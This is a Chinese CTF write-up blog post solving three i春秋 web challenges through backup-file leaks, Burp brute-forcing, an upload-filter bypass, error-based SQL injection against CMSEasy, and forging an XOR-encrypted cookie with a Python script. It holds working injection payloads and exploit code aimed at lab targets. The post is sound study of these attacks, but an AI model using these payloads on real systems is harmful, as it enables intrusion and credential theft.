i春秋4

web——123

找了一下,发现一个提示,用户信息在user.php当中
img

但是当我直接打开user.php的时候,啥也没有,尝试了一下发现了user.php.bak文件,下载打开

这里需要说一下:这里属于备份隐私文件泄露,后缀之前有整理过了
img

打开以后,里面均为用户信息,结合提示密码为用户名加出生日期,但是由于没有提供出生日期,只有用户名,所以我们就将年龄设置一下直接跑用户名就行,如下:
这里学一下如何用burp同时爆破两个变量 ,选择img
这个模式即可img

其他模式参考:https://blog.csdn.net/qq_39101049/article/details/90234669
img
发现这个人的账号密码是OK的 登录试试
一片空白,查看源码:img

img
由于这里被注释了,所以我们需要再创建一个,然后页面上就会出现文件上传的入口了
img

上传php文件,发现存在过滤,但是不知道是不是白名单,尝试一下其他文件类型
img
尝试了好几种发现没有结果,感觉还挺奇怪的,可能因为是他的代码里面写的是检测第一个.后面的内容是否包含白名单文件吧,因为是题目,所以第二点号后面如果为pht,phtml的时候但是不能包含php3的时候文件才会被成功上传,尽管你上传白名单的那三个文件,也是会返回说文件名不合法的,到了这里,其实就是尝试了,也没啥好说的,感觉可以做一个字典,后缀字典,到时候跑一下就行了。。。
一开始有点定性思维,认为是apache解析漏洞,从右到左进行判断,所以我构造的都是123.php.jpg之类的文件,尝试了好多种组合都无果,最后看了一下wp才知道。。。果然还是要多刷题

当我打开这个文件的时候
img
在看了一下源码,和报文,没有其他收获,试试是不是文件包含吧?因为这个时候也只有这种可能了img
他一开始说过滤了flag,在尝试了大小写混写以后,发现复写flag就可以绕过了

web——YeserCMS

查找漏洞题。。。看一下网站框架在评论区看到
img
百度查找cmseasy漏洞,接下来就看着操作了。。。
漏洞出现在parse_str($sQuery,$aArray);
所以 可以进行报错注入

1
2
3
4
elive/live/header.php
post:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
//这里使用报错注入,

所以 跳转:
http://3f50fc9615c747578e1c6fd0a4a9d076c1687d99683d45b6.changame.ichunqiu.com//celive/live/header.php
然后post发送一下以上payload:
得到

img
1
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()) ,720,900),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

以上是爆表,由于一次性显示的字符数有限制,所以,在不断更换后面的显示段数,找到了user表
img

1
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT((column_name)) from information_schema.columns where table_name='yesercms_user') ,1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
img 接下来就是拿到账号密码了admin ff512d4240cbbdeafada404677ccbe61
1
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,password)) from yesercms_user) ,10,42),0x5d),1)),NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

密码为md5加密,解密完以后是Yeser231

成功登陆以后,在网页中寻找可以打开flag.php的地方,利用burpsuit抓包修改参数即可img

imgimg

web——Code

图片后面是经过base64加密,解密以后可得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php   /**  
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/ header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'>/</img>";
/*
* Can you find the flag file?
*
*/?>

从上面信息可得到,为phpstorm创建所得,phpstorm是php代码的集成开发环境,下载phpstorm,并新建一个项目,会发现在项目文件夹里面会生成一个.idea文件,它存储了项目的配置文件,

打开.idea文件可以发现misc.xml,modules.xml,workspace.xml文件。

1
http://a8af39458fca4aa7a15a802e4b9f189cfb7d36988dba497a.changame.ichunqiu.com/.idea/workspace.xml

打开此URL,看到配置文件,发现fl3g_ichuqiu.php文件打开它看看

1
http://a8af39458fca4aa7a15a802e4b9f189cfb7d36988dba497a.changame.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php

因为上面说可以用config替换_在我直接使用_的时候是打不开的,当我变成config才能打开。。,然后就又会看到一段使用base64编码的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];//生成随机数
}
return $hash;//返回随机数
}

function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);//ord返回10进制,chr返回相对应于 ascii 所指定的单个字符。此函数与 ord() 是互补的
}
$txt = $tmp;//tmp是原本的txt十进制+10以后的数值
$rnd=random(4);//调用random函数,取得四位随机数,这个就是下面解密所需要截取的前四位
$key=md5($rnd.$key);//将rnd和key拼接后md5加密
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];//ttmp是txt和key异或后的数值
}
return base64_encode($rnd.$ttmp); //返回的是rnd和ttmp
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);

$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];//进行异或运算
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "a??(a?ˉa??a?°)a?-";
}
?>

求解思路:先对system使用ord和chr+10,然后再和key进行异或,就可以得到txt,而txt就是我们需要输入的内容
其中 key是未知的,所以key的求解需要我们从后面的setcookie中得到,用guest作为txt,用ord和chr各加10,得到tmp,此时的txt就等于tmp了,rnd是一个四位的随机数,和key拼接后md5加密得到一个新的key,要得到这个新的key,可以通过使用返回的cookie和tmp异或运算得到

传送个cookie值,要让他经过一系列的解码运算后等于system

img 我们打开fl3g_ichunqiu.php,会发现他有那个user的cookie,接下来编写脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import base64
url="http://b500619026b94e8ab02418c859eee290591d7abb431148af.changame.ichunqiu.com/fl3g_ichuqiu.php"
s= requests.session()
return_user= s.get(url).cookies['user']
de_user=base64.b64decode(return_user).decode('Latin-1')
rnd=de_user[0:4]#四位随机数
ttmp=de_user[4:]
#print(ttmp)
key=list('xxxxxx')
txt=list('guest')
system=list('system')
for i in range(len(txt)):
txt[i]=chr(ord(txt[i])+10)
for i in range(len(txt)):
key[i]=chr(ord(ttmp[i])^ord(txt[i]))
for i in range(len(system)):
system[i]=chr(ord(system[i])+10)
try_word='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'
ttmp_new=''
cookie_system=[]
for i in try_word:
key[5]=i
for j in range(len(system)):
ttmp_new +=chr(ord(key[j])^ord(system[j]))
str =base64.b64encode((rnd+ttmp_new).encode('Latin-1'))
print(str.decode('utf-8'))
cookie_system.append(base64.b64encode(str))
ttmp_new = ''

关于脚本的编写,在理解完求解方式后,其实编写困难就在于语法了,在这里可以输出所有的结果,将它导出作为一个爆破字典,再用burp进行爆破即可

img img img

最后解决一个问题:这个key为什么不会改变?明明在解密和加密的时候都出现了运算:
首先造成这个key改变的原因是什么?是rnd的变化,而rnd的变化只出现在加密当中,也就是当我们输入错误的cookie的时候他才会reset,但是我们利用burp进行重放攻击的时候,针对都是一样的cookie,相当于每次攻击完回到初始化,而我们在python中对于key的求解的时候,这个rnd它是不改变的,所以这个key也不会变化,在burp爆破进入加密时,由于这个rnd是截取我们的cookie前几位所以最终的key也是不变的。

一点总结

感觉对于python脚本的编写还不是很熟练,有些语法还不是很熟练。。不过现在也有感觉好像用的最多的是什么,然后审计代码的时候,果然还是要静下心来好好看才行

Author

vague huang

Posted on

2021-02-16

Updated on

2021-02-19

Licensed under

Comments